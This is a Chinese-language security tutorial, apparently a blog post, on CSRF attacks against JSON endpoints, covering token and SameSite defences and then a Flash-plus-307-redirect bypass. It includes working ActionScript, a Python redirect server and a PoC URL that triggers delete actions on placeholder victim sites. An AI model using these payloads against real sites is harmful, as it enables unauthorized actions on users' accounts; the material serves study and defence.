谈谈Json格式下的CSRF攻击

一、CSRF漏洞简介

csrf漏洞的成因就是网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,那以后只要是访问这个网站,都会默认你已经登录的状态。而在这个期间,攻击者发送了构造好的csrf脚本或包含csrf脚本的链接,可能会执行一些用户不想做的功能(比如是添加账号等)。这个操作不是用户真正想要执行的。

在post标准化格式(accounts=test&password=aaa)的表单页面中,在没有csrf防护的前提下,我们能很轻松地构造页面来实现攻击,但是在json格式下,csrf攻击怎么实现呢?

那我们为何不能使用这个常规构造的PoC来利用JSON端点中的CSRF呢?原因如下:

1、POSTbody需要以JSON格式发送,而这种格式如果用HTML表单元素来构建的话会比较麻烦。

2、Content-Type头需要设置为application/json。设置自定义Header需要使用XMLHttpRequests,而它还会向服务器端发送OPTIONS预检请求。

1.1 防御方案

关于防御方案,一般有如下几种:

1)用户操作验证,在提交数据时需要输入验证码

2)请求来源验证,验证请求来源的referer

3)表单token验证

现在业界对CSRF的防御,一致的做法是使用一个Token(Anti CSRF Token)。

这个Token的值必须是随机的,不可预测的。由于Token的存在,攻击者无法再构造一个带有合法Token的请求实施CSRF攻击。另外使用Token时应注意Token的保密性,尽量把敏感操作由GET改为POST,以form或AJAX形式提交,避免Token泄露。

例子:

第一步:用户访问某个表单页面。

第二步:服务端生成一个Token,放在用户的Session中,或者浏览器的Cookie中。

第三步:在页面表单附带上Token参数。

第四步:用户提交请求后,服务端验证表单中的Token是否与用户Session(或Cookies)中的Token一致, 一致为合法请求,不是则非法请求。

  1. 在前后端分离的前提下(例如使用ajax提交数据)设置不了token,可以给 cookie 新增 SameSite 属性,通过这个属性可以标记哪个 cookie 只作为同站 cookie (即第一方 cookie,不能作为第三方 cookie),既然不能作为第三方 cookie ,那么别的网站发起第三方请求时,第三方网站是收不到这个被标记关键 cookie,后面的鉴权处理就好办了。这一切都不需要做 token 生命周期的管理,也不用担心 Referer 会丢失或被中途被篡改。

SameStie 有两个值:Strict 和 Lax:

SameSite=Strict 严格模式,使用 SameSite=Strict 标记的 cookie 在任何情况下(包括异步请求和同步请求),都不能作为第三方 cookie。

SameSite=Lax 宽松模式,使用 SameSite=Lax 标记的 cookie 在异步请求 和 form 提交跳转的情况下,都不能作为第三方 cookie。

那么Strict和Lax的如何使用呢?

登录态关键的 cookie 都可以设置为 Strict。

后台根据用户的登录态动态新建一个可以用于校验登录态的 cookie ,设置为 Lax ,这样的话对外推广比如微博什么的,你希望用户在微博上打开你的链接还能保持登录态。

如果你的页面有可能被第三方网站去iframe或有接口需要做jsonp ,那么都不能设置 Strict 或 Lax。
二、不验证CONTENT-TYPE的情况

如果服务端没有校验Content-Type,或者没有严格校验Content-Type是否为application/json,我们可以使用XHR来实现csrf,poc如下:


 
 
 
  
    
    

三、验证CONTENT-TYPE的情况

当然了,使用XMLHttpRequest、fetch能构造出JSON请求,并且能设置Content-Type,但是无法跨域。

fetch发起的请求代码:


JSON CSRF POC




我们可以利用Flash的跨域与307跳转来绕过http自定义头限制,307跟其他3XX HTTP状态码之间的区别就在于,HTTP 307可以确保重定向请求发送之后,请求方法和请求主体不会发生任何改变。HTTP 307会将POST body和HTTP头重定向到我们所指定的最终URL,并完成攻击。

3.1 创建flash文件

为了创建能够发送Web请求的csrf.swf文件,我们需要按照以下步骤操作:

安装FlexSDK将ActionScript编译为swf文件。Flex需要安装32位的JVM,这一步可以安装32位JDK来完成。

创建一个包含下列ActionScript代码的text文件,文件名为csrf.as。

获取托管Flash文件的主机系统(攻击者的服务器)IP地址/域名,并替换掉代码中的。

运行“mxmlc csrf.as”命令,将该文件编译为csrf.swf。

3.2 创建web服务器

1、使用python作为服务器(此方法不推荐):

先创建as文件,用上述步骤编译:

package
{
  import flash.display.Sprite;
  import flash.net.URLLoader;
  import flash.net.URLRequest;
  import flash.net.URLRequestHeader;
  import flash.net.URLRequestMethod;
  public class csrf extends Sprite
  {
    public function csrf()
    {
      super();
      var member1:Object = null;
      var myJson:String = null;
      member1 = new Object();
      member1 ={"id":102};
      var myData:Object = member1;
      myJson = JSON.stringify(myData);
      myJson = JSON.stringify(myData);
      var url:String = "http://172.16.11.110:8000/";
      var request:URLRequest = new URLRequest(url);
      request.requestHeaders.push(new URLRequestHeader("Content-Type","application/json"));
      request.data = myJson;
      request.method = URLRequestMethod.POST;
      var urlLoader:URLLoader = new URLLoader();
   try
      {
          urlLoader.load(request);
          return;
      }
      catch(e:Error)
      {
          trace(e);
          return;
      }
    }
  }
}

借助GitHub上的json-flash-csrf-poc,我们可以生成一个简单的python web服务器

pyserver.py:

import BaseHTTPServer
import time
import sys

HOST = '' 
PORT = 8000

class RedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler):
    def do_POST(s):
       # dir(s)
        if s.path == '/csrf.swf':
           s.send_response(200)
           s.send_header("Content-Type","application/x-shockwave-flash")
           s.end_headers()
           s.wfile.write(open("csrf.swf", "rb").read())
           return 
        s.send_response(307)
        s.send_header("Location", "https://victim-site/userdelete")
        s.end_headers()
    def do_GET(s):
        print(s.path)
        s.do_POST()
    
if __name__ == '__main__':
    server_class = BaseHTTPServer.HTTPServer
    httpd = server_class((HOST, PORT), RedirectHandler)
    print time.asctime(), "Server Starts - %s:%s" % (HOST, PORT)
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    print time.asctime(), "Server Stops - %s:%s" % (HOST, PORT)

2、使用apache的php页面作为服务端(首选方法):

我们也可以使用php来作为307跳转的服务端,参考GitHub上的swf_json_csrf。

csrf.as:

package
{
   import flash.display.Sprite;
   import flash.net.URLLoader;
   import flash.net.URLRequest;
   import flash.net.URLRequestHeader;
   import flash.net.URLRequestMethod;
   
   public class csrf extends Sprite
   {
       
      
      public function csrf()
      {
         super();
         var myJson:String = this.root.loaderInfo.parameters.jsonData;
         var url:String = this.root.loaderInfo.parameters.php_url;
         var endpoint:String = this.root.loaderInfo.parameters.endpoint;
         var ct:String = !!this.root.loaderInfo.parameters.ct?this.root.loaderInfo.parameters.ct:"application/json";
         var request:URLRequest = new URLRequest(url + "?endpoint=" + endpoint);
         request.requestHeaders.push(new URLRequestHeader("Content-Type",ct));
         request.data = myJson;
         request.method = URLRequestMethod.POST;
         var urlLoader:URLLoader = new URLLoader();
         try
         {
            urlLoader.load(request);
            return;
         }
         catch(e:Error)
         {
            trace(e);
            return;
         }
      }
   }
}

307.php:


最后使用的poc是:

http://172.16.11.102/csrf/test.swf?jsonData={%22id%22:49}&php_url=http://172.16.11.102/csrf/test.php&endpoint=http://victim.com/carrieradmin/admin/car/delete&ct=application/json

四、更进一步探索

当访问最后的POC,过程如下:

1、受害者访问POC,向attacter.com发起一条swf请求,swf向307.php发送HTTP POST请求。

2、attacter.com的307.php发起307跳转,跳转到victim.com,注意307跳转会带着http请求方式,header和postdata进行跳转。

3、victim.com收到一条POST请求,并且Content-Type为application/json。

4、victim.com收到一条/crossdomain.xml请求。由于第三步优先第四步执行,导致跨域。并且victim.com能收到crossdomain.xml请求,也证明了第三步的POST请求是Flash发出,而不是307.php发出。因为307.php单独发出的post请求不会主动请求crossdomain.xml。

我们知道,服务器A的Flash如果要向B发起一条HTTP请求,会先请求服务器B的crossdomain.xml文件,判断是否能跨域,如果文件没有,或者xml文件设置不能跨域,则不能跨域。

既然可以设置Content-Type,那么能设置Referer吗。如果能,那验证Referer的CSRF岂不都能绕过?

其实Flash的Header存在一个黑名单,黑名单列表的头不允许设置,其中就有Referer。不能设置的头标如下:

Accept-Charset、Accept-Encoding、Accept-Ranges、Age、Allow、Allowed、Authorization、Charge-To、Connect、Connection、Content-Length、Content-Location、Content-Range、Cookie、Date、Delete、ETag、Expect、Get、Head、Host、Keep-Alive、Last-Modified、Location、Max-Forwards、Options、Post、Proxy-Authenticate、Proxy-Authorization、Proxy-Connection、Public、Put、Range、Referer、Request-Range、Retry-After、Server、TE、Trace、Trailer、Transfer-Encoding、Upgrade、URI、User-Agent、Vary、Via、Warning、WWW-Authenticate 和 x-flash-version。

五、实际测试效果

这种flash+307跳转攻击方法只能在旧版浏览器适用,在2018年后更新版本的几乎所有浏览器,307跳转的时候并没有把Content-Type传过去而导致csrf攻击失败。所以还望寻找一种新的攻击方法,本文的json csrf攻击方法仅仅是作为一种记录,在某些情况下还是能用到的。

你可能感兴趣的:(web安全,实战篇)